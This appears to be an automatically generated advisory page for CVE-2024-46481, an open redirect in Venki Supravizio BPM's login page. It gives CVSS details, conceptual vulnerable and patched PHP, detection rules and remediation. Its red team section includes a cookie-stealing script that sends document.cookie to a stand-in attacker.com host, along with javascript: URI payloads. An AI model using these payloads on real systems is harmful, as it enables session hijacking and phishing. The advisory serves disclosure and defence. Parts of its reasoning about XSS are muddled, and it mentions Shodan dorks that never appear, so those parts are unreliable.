CVE-2024-46481
Executive Summary
CVE-2024-46481 identifies an open redirect vulnerability in the login page of Venki Supravizio BPM up to version 18.1.1. This flaw allows an attacker to craft a malicious link that redirects an authenticated or unauthenticated user to an external, attacker-controlled domain. Because the redirect is performed without proper validation, it can be leveraged for reflected Cross-Site Scripting (XSS) by appending a javascript: URI or a malicious script payload to the redirect parameter. The vulnerability is publicly known, with proof-of-concept code available, but no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise BPM (Business Process Management) application. No supply chain compromise is involved.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 7.2 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – the victim must click the crafted link.
- Scope: Changed (S:C) – the redirect can lead to a different security domain.
- Confidentiality Impact: Low (C:L) – potential for information disclosure via XSS.
- Integrity Impact: Low (I:L) – attacker can modify content in the victim's browser.
- Availability Impact: None (A:N)
Threat Level: High. The combination of open redirect and reflected XSS allows an attacker to bypass same-origin policy, steal session cookies, or perform phishing attacks. The lack of a patch increases the risk for unmitigated deployments.
Deep Dive & Mechanics
The vulnerability resides in the login page of Venki Supravizio BPM. The application likely uses a redirect or returnUrl parameter to send users back to a specific page after successful authentication. This parameter is not sanitized or validated against a whitelist of allowed domains. An attacker can craft a URL such as:
https://victim-venki.com/login?redirect=https://attacker.com/evil.html
When the victim clicks this link, the application performs an HTTP redirect to https://attacker.com/evil.html. If the attacker appends a javascript: URI or a script payload, the browser may execute it in the context of the original domain, leading to reflected XSS. For example:
https://victim-venki.com/login?redirect=javascript:alert(document.cookie)
The open redirect can also be used for phishing by redirecting to a fake login page that steals credentials.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// login.php
$redirect = $_GET['redirect'];
if ($redirect) {
header("Location: " . $redirect);
exit;
}
Patched Code (Conceptual):
// login.php
$allowed_domains = ['https://app.venki.com', 'https://dashboard.venki.com'];
$redirect = $_GET['redirect'];
if ($redirect) {
$parsed_url = parse_url($redirect);
if (in_array($parsed_url['scheme'] . '://' . $parsed_url['host'], $allowed_domains)) {
header("Location: " . $redirect);
exit;
} else {
// Redirect to default page
header("Location: /dashboard");
exit;
}
}
The patched version validates the redirect URL against a whitelist of allowed domains and rejects any URL that does not match.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A running instance of Venki Supravizio BPM (version <= 18.1.1).
- A publicly accessible attacker-controlled server (e.g.,
attacker.com).
Exploit Steps:
- Identify the vulnerable login page (e.g.,
https://victim-venki.com/login). - Craft a malicious URL:
https://victim-venki.com/login?redirect=https://attacker.com/evil.html - Host a malicious HTML page on
attacker.com/evil.htmlthat performs XSS:<html> <body> <script> // Steal cookies fetch('https://attacker.com/steal?cookie=' + document.cookie); </script> </body> </html> - Send the crafted URL to the victim via email, social engineering, or other means.
- When the victim clicks the link, they are redirected to the attacker's page, and the XSS payload executes.
Proof-of-Concept (PoC) Code:
import requests
target = "https://victim-venki.com/login"
redirect_url = "https://attacker.com/evil.html"
payload = f"{target}?redirect={redirect_url}"
print(f"Send this URL to the victim: {payload}")
Blue Team
Detection Steps:
- Monitor web server logs for unusual
redirectparameter values containing external domains orjavascript:URIs. - Implement a Web Application Firewall (WAF) rule to block requests where the
redirectparameter does not match a whitelist of allowed domains. - Use browser-based security headers like
Content-Security-Policyto restrict script execution.
Mitigation Steps:
- Apply input validation on the
redirectparameter to only allow relative paths or whitelisted domains. - If a patch is unavailable, consider disabling the redirect functionality or implementing a server-side proxy that validates the target URL.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to attacker-controlled domains from the Venki server.
- HTTP requests containing
redirectparameter with external URLs orjavascript:URIs.
- File IOCs:
- Suspicious log entries in
access.logorerror.logshowing redirect attempts to unknown domains.
- Suspicious log entries in
- Behavioral IOCs:
- Users reporting unexpected redirects after clicking links.
- Unusual cookie theft or session hijacking incidents.
Detection Engineering
YARA Rule
rule CVE_2024_46481_Open_Redirect {
meta:
description = "Detects open redirect attempts in Venki Supravizio BPM login page"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2024-46481"
strings:
$redirect_param = "redirect=" nocase
$external_domain = /redirect=https?:\/\/[^\/]+\// nocase
$javascript_uri = /redirect=javascript:/ nocase
condition:
$redirect_param and ($external_domain or $javascript_uri)
}
Sigma Rule
title: CVE-2024-46481 Open Redirect in Venki Supravizio BPM
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects open redirect attempts in Venki Supravizio BPM login page
author: Valters IT
date: 2025-04-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains: "redirect="
cs-uri-query|re: "(https?:\/\/[^\/]+\/|javascript:)"
condition: selection
falsepositives:
- Legitimate redirects to whitelisted domains (if any)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-46481 Open Redirect in Venki Supravizio BPM"; flow:to_server; content:"redirect="; nocase; pcre:"/redirect=(https?:\/\/[^\/]+\/|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the redirect functionality if not essential for business operations.
- Implement a whitelist of allowed redirect destinations in the application code.
- Apply input validation to ensure the
redirectparameter only contains relative paths or approved domains.
Long-Term Fix:
- Contact Venki support for an official patch. If unavailable, consider upgrading to a newer version or migrating to a different BPM solution.
Compensating Controls:
- Deploy a WAF with rules to block open redirect attempts.
- Use browser security headers (e.g.,
X-Content-Type-Options: nosniff,X-Frame-Options: DENY). - Educate users about phishing attacks and suspicious links.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.